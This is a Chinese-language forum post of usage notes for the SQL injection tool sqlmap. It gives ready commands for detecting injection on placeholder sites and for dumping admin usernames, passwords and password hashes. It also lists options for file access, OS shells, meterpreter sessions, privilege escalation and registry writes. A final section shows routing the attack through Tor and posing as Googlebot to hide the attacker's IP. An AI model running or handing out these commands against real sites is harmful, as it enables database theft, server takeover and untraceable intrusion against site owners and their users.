查看: 101|回復: 0
打印 上一主題 下一主題

sqlmap使用筆記

[復制鏈接]

100

主題

102

帖子

214744萬

積分

管理員

Rank: 9Rank: 9Rank: 9

積分
2147446449
跳轉到指定樓層
樓主
發表于 2019-12-30 15:57:08 | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式
                                                sqlmap使用筆記
1.sqlmap支持5種注入模式

(1).基于布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
(2).基于時間的盲注,即能不能根據頁面返回內容判斷任何信息,
用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
(3).基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
(4).聯合查詢注入,可以使用union的情況下的注入。
(5).堆查詢注入,可以同時執行多條語句的執行時的注入


2.sqlmap支持的數據庫有
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLLite,Firebird,SYbase和SAP MaxDB

3.檢測注入
(1).基本格式

sqlmap -u "http://www.xxx.com/new.asp?id=1"
默認使用level1檢測全部數據庫類型

sqlmap -u "http://www.xxx.com/new.asp?id=1" --dbms mysql --level 3
指定數據庫類型為MySQL,級別為3(共5級,級別越高,檢測越全面)

(2).跟隨302跳轉
當注入頁面錯誤時,自動跳到另一個頁面的時候需要跟隨302,當注入錯誤的時候,縣報錯再跳轉的時候,不需要跟302.
目的就是:追蹤錯誤信息。

(3).coolie注入
當程序有防止get注入的時候,可以使用cookie注入

sqlmap -u "http://www.xxx.com/new.asp" --cookie "id=1" --level 2 (只有達到2級才會檢測cookie)

4.注入成功后

(1).查詢有哪些數據庫
sqlmap -u "http://www.xxx.com/new.asp?id=1" --dbms mysql --dbs

(2)查詢admin數據庫中有哪些表
sqlmap -u "http://www.xxx.com/new.asp?id=1" --dbms mysql --tables

(3)查詢數據庫中admin表中有哪些字段
sqlmap -u "http://www.xxx.com/new.asp?id=1" --dbms mysql -T admin --columns

(4)查詢數據庫中字段里的內容
sqlmap -u "http://www.xxx.com/new.asp?id=1" --dbms mysql -T admin -C "字段名:比如username,password" --dump

5.sqlmap詳細命令:

    --is-dba 當前用戶權限(是否為root權限)
    --dbs 所有數據庫
    --current-db 網站當前數據庫
    --users 所有數據庫用戶
    --current-user 當前數據庫用戶
    --random-agent 構造隨機user-agent
    --passwords 數據庫密碼
    --proxy http://local:8080 --threads 10 (可以自定義線程加速) 代理
    --time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)


6.Options(選項):

    --version 顯示程序的版本號并退出
    -h, --help 顯示此幫助消息并退出
    -v VERBOSE 詳細級別:0-6(默認為1)
    保存進度繼續跑:

sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存進度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢復已保存進度
Target(目標):

以下至少需要設置其中一個選項,設置目標URL。

    -d DIRECT 直接連接到數據庫。
    -u URL, --url=URL 目標URL。
    -l LIST 從Burp或WebScarab代理的日志中解析目標。
    -r REQUESTFILE 從一個文件中載入HTTP請求。
    -g GOOGLEDORK 處理Google dork的結果作為目標URL。
    -c CONFIGFILE 從INI配置文件中加載選項。

7.Request(請求):

這些選項可以用來指定如何連接到目標URL。

    --data=DATA 通過POST發送的數據字符串
    --cookie=COOKIE HTTP Cookie頭
    --cookie-urlencode URL 編碼生成的cookie注入
    --drop-set-cookie 忽略響應的Set - Cookie頭信息
    --user-agent=AGENT 指定 HTTP User - Agent頭
    --random-agent 使用隨機選定的HTTP User - Agent頭
    --referer=REFERER 指定 HTTP Referer頭
    --headers=HEADERS 換行分開,加入其他的HTTP頭
    --auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
    --auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)
    --auth-cert=ACERT HTTP認證證書(key_file,cert_file)
    --proxy=PROXY 使用HTTP代理連接到目標URL
    --proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)
    --ignore-proxy 忽略系統默認的HTTP代理
    --delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒
    --timeout=TIMEOUT 等待連接超時的時間(默認為30秒)
    --retries=RETRIES 連接超時后重新連接的時間(默認3)
    --scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式
    --safe-url=SAFURL 在測試過程中經常訪問的url地址
    --safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL

8.Enumeration(枚舉):

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的SQL語句。

    -b, --banner 檢索數據庫管理系統的標識
    --current-user 檢索數據庫管理系統當前用戶
    --current-db 檢索數據庫管理系統當前數據庫
    --is-dba 檢測DBMS當前用戶是否DBA
    --users 枚舉數據庫管理系統用戶
    --passwords 枚舉數據庫管理系統用戶密碼哈希
    --privileges 枚舉數據庫管理系統用戶的權限
    --roles 枚舉數據庫管理系統用戶的角色
    --dbs 枚舉數據庫管理系統數據庫
    -D DBname 要進行枚舉的指定數據庫名
    -T TBLname 要進行枚舉的指定數據庫表(如:-T tablename --columns)
    --tables 枚舉的DBMS數據庫中的表
    --columns 枚舉DBMS數據庫表列
    --dump 轉儲數據庫管理系統的數據庫中的表項
    --dump-all 轉儲所有的DBMS數據庫表中的條目
    --search 搜索列(S),表(S)和/或數據庫名稱(S)
    -C COL 要進行枚舉的數據庫列
    -U USER 用來進行枚舉的數據庫用戶
    --exclude-sysdbs 枚舉表時排除系統數據庫
    --start=LIMITSTART 第一個查詢輸出進入檢索
    --stop=LIMITSTOP 最后查詢的輸出進入檢索
    --first=FIRSTCHAR 第一個查詢輸出字的字符檢索
    --last=LASTCHAR 最后查詢的輸出字字符檢索
    --sql-query=QUERY 要執行的SQL語句
    --sql-shell 提示交互式SQL的shell

9.Optimization(優化):

這些選項可用于優化SqlMap的性能。

    -o 開啟所有優化開關
    --predict-output 預測常見的查詢輸出
    --keep-alive 使用持久的HTTP(S)連接
    --null-connection 從沒有實際的HTTP響應體中檢索頁面長度
    --threads=THREADS 最大的HTTP(S)請求并發量(默認為1)

10.Injection(注入):

這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。

    -p TESTPARAMETER 可測試的參數(S)
    --dbms=DBMS 強制后端的DBMS為此值
    --os=OS 強制后端的DBMS操作系統為這個值
    --prefix=PREFIX 注入payload字符串前綴
    --suffix=SUFFIX 注入payload字符串后綴
    --tamper=TAMPER 使用給定的腳本(S)篡改注入數據

11.Detection(檢測):

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。

    --level=LEVEL 執行測試的等級(1-5,默認為1)
    --risk=RISK 執行測試的風險(0-3,默認為1)
    --string=STRING 查詢時有效時在頁面匹配字符串
    --regexp=REGEXP 查詢時有效時在頁面匹配正則表達式
    --text-only 僅基于在文本內容比較網頁

12.Techniques(技巧):

這些選項可用于調整具體的SQL注入測試。

    --technique=TECH SQL注入技術測試(默認BEUST)
    --time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)
    --union-cols=UCOLS 定列范圍用于測試UNION查詢注入
    --union-char=UCHAR 用于暴力猜解列數的字符

13.Fingerprint(指紋):

    -f, --fingerprint 執行檢查廣泛的DBMS版本指紋

14.Brute force(蠻力):

這些選項可以被用來運行蠻力檢查。

    --common-tables 檢查存在共同表
    --common-columns 檢查存在共同列

User-defined function injection(用戶自定義函數注入):
這些選項可以用來創建用戶自定義函數。

--udf-inject 注入用戶自定義函數
--shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統):

這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。

    --file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件
    --file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件
    --file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑

15.Operating system access(操作系統訪問):

這些選項可以用于訪問后端數據庫管理系統的底層操作系統。

    --os-cmd=OSCMD 執行操作系統命令
    --os-shell 交互式的操作系統的shell
    --os-pwn 獲取一個OOB shell,meterpreter或VNC
    --os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
    --os-bof 存儲過程緩沖區溢出利用
    --priv-esc 數據庫進程用戶權限提升
    --msf-path=MSFPATH Metasploit Framework本地的安裝路徑
    --tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

16.Windows注冊表訪問:

這些選項可以被用來訪問后端數據庫管理系統Windows注冊表。

    --reg-read 讀一個Windows注冊表項值
    --reg-add 寫一個Windows注冊表項值數據
    --reg-del 刪除Windows注冊表鍵值
    --reg-key=REGKEY Windows注冊表鍵
    --reg-value=REGVAL Windows注冊表項值
    --reg-data=REGDATA Windows注冊表鍵值數據
    --reg-type=REGTYPE Windows注冊表項值類型

這些選項可以用來設置一些一般的工作參數。

    -t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中
    -s SESSIONFILE 保存和恢復檢索會話文件的所有數據
    --flush-session 刷新當前目標的會話文件
    --fresh-queries 忽略在會話文件中存儲的查詢結果
    --eta 顯示每個輸出的預計到達時間
    --update 更新SqlMap
    --save file保存選項到INI配置文件
    --batch 從不詢問用戶輸入,使用所有默認配置。

17.Miscellaneous(雜項):

    --beep 發現SQL注入時提醒
    --check-payload IDS對注入payloads的檢測測試
    --cleanup SqlMap具體的UDF和表清理DBMS
    --forms 對目標URL的解析和測試形式
    --gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果
    --page-rank Google dork結果顯示網頁排名(PR)
    --parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
    --replicate 復制轉儲的數據到一個sqlite3數據庫
    --tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址
    --wizard 給初級用戶的簡單向導界面


匿名

我將想你展示怎么樣使用sqlmap和Onion路由器來保護你的IP,DNS等等,在linux中,在終端命令符為$時使用sudo apt-get install tor tor-geoip

進入sqlmap的目錄后:./sqlmap.py -u “http://www.targetvuln.com/index/php?cata_id=1” -b -a -tor –check-tor–user-agent=”Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)”

參數–tor使用Tor,–check-tor會檢查Tor是否被正確地使用,如果沒有正確被使用,終端會提示錯誤信息。用戶代理是googlebot,所有你的請求會被看起來像是Googlebot發出的一樣。

利用sqlmap的Tor我們能夠設置你的TOR代理來隱藏實際請求產生的地址


0 0
回復

使用道具 舉報 上傳

快捷回復:
您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規則

快速回復 返回頂部 返回列表
福彩3d专家预测